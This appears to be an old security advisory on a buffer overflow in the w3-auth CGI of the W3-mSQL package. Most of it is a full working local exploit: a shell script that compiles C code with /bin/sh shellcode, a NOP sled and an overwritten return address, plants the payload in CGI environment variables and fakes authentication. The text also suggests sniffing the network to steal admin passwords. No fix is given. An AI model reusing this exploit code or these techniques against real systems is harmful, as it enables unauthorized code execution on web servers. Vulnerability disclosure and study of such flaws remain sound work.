COMMAND

    W3-msql

SYSTEMS AFFECTED

    Systems using W3-mSQL

PROBLEM

    Gregory  Duchemin  found  following.    He  was  looking  for   an
    exploitable buffer  overflow in  w3-msql (from  Hughes Technology)
    since there  was many  security flaws  inside.   There is a static
    variable named PrivateScript in  main() function with a  255 chars
    size length.

    No luck! main() finish everywhere  with an exit() call.   The http
    internal server error  produced with a  big URI string  (about 260
    chars) is the fact of the modification of environments pointers in
    the stack just  behind the return  adress and argvs  pointers.  So
    the syscall getenv() produce a signal 11.

    No mind! Just take a look  now in w3-auth.c and more specially  in
    parseArgs().  There is a static array of 30 chars named "var"  and
    the function exit with a return.   This is ok!  It's now  possible
    to force remotly w3-auth cgi-bin to execute everything with  httpd
    user  priviledge  (and  may  be,  to  modify everything in the web
    server).   However  to  exploit  this  hole,  attacker  has  to be
    authenticated  by   the  cgi   (the   web   server  has   to   set
    HTTP_AUTHORIZATION environment  var).   So there  are two  ways to
    use this exploit:

        1- the hacker is an  official msql database admin but  without
           httpd priviledge (naturally !)
        2- the hacker starts  by sniffing the network  segment, steals
           an admin password and modify remotly the web server.

    Now, the script (local version  only, just the necessary time  for
    Hughes to patch the source):

    #!/bin/sh
    
    cat > ./w3-3gg.c  << _EOEXPLOIT
    
    /*******************************
          *****************
    
    
    Local Linux exploit for
    w3-auth
    Authentication module from mini-sql package
    
    Gregory Duchemin Aka c3RbeR
    
    Neurocom --  Mai 1999
    E-mail: gdn@neurocom.com
    
    
         ******************
    ********************************/
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/param.h>
    #include <stdarg.h>
    
    
    #define GREEN "\033[1;32m"
    #define RED "\033[1;31m"
    #define NORM "\033[1;39m"
    #define NOP 0x90
    
    
    
    char *EGG;
    char *bob;
    long *ret;
    int size;
    
    
    long StackPointer();
    int usage(char *);
    void Thisistheend(long);
    
    
    /*
    Shellk0de from the great Phr4ck Ezine
    */
    
    
    char shell[]=
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x5 6\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd 1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
    
    
    
    int main (int argc, char *argv[]){
    int cnt;
    unsigned long sp;
    int dec;
    sp = cnt = 0;
    
    
    
    if (argc>=4) usage(argv[0]);
    
    
    size=250;
    if (argc>=2) size=atoi(argv[1]);
    
    
    dec=15;
    if (argc>=3) dec=atoi(argv[2]);
    sp=StackPointer();
    sp-=dec;
    
    
    printf("%s\n Using buffer size = %d, return adress = %02X with stack offset = %d\n\n", GREEN, size, sp, dec);
    Thisistheend(sp);
    }
    
    
    
    /* Wh3re is my Stack P0inter ? Ask the esp registry... */
    
    long StackPointer()
    {
     __asm__("movl %esp, %eax\n");
    }
    
    
    
    
    int usage (char *name)
    {
    printf("%s Usage:%s [size] [offset] \n",RED,name);
    printf("Default: %s 250 15 \n %s",name, NORM);
    exit(1);
    }
    
    
    
    
    void Thisistheend (long sp)
    {
    int cnt;
    
    
    if (!(EGG=(char *)malloc(size)))
        {
            perror("Malloc error\n\n");
            exit(1);
        }
    
    
    /* First Step....filling buffer with NoOperation */
    
    for(cnt=0;cnt<(size-1);cnt++)
    *(EGG+cnt)=NOP;
    
    
    /* Next, insert your own code */
    
    bob=EGG+80;
    for (cnt=0; cnt<strlen(shell); cnt++)
    *(bob++)=*(shell+cnt);
    
    
    /* Then, your return adress in the stack to point toward the shell code */
    
    
    ret = (unsigned long *) (EGG+36);
    *(ret)=sp;
    
    
    
    EGG[size-1]='\0';
    
    
    /*
    apache set this env variables
    Note: "Http authentication" means that script kiddy'll have to get a pass
    */
    
    
    setenv("REQUEST_METHOD", "GET", 1);
    setenv("HTTP_USER_AGENT", EGG, 1);
    setenv("QUERY_STRING", EGG, 1);
    
    
    
    
    /* Simulate a good authentication localy */
    
    setenv("HTTP_AUTHORIZATION", "1", 1);
    
    
    system("/bin/sh -c \"echo -e \'\nReady to fight captain !\n\nLook at the env(s) and ...\n\nJust launch w3-auth and see...\n\n\n\'\"");
    system("/bin/sh");
    }
    _EOEXPLOIT
    
    
    gcc ./w3-3gg.c -o ./w3-3gg
    echo -e "\n\n Script started \n\n"
    ./w3-3gg
    rm ./w3-3gg ./w3-3gg.c

SOLUTION

    To be patched.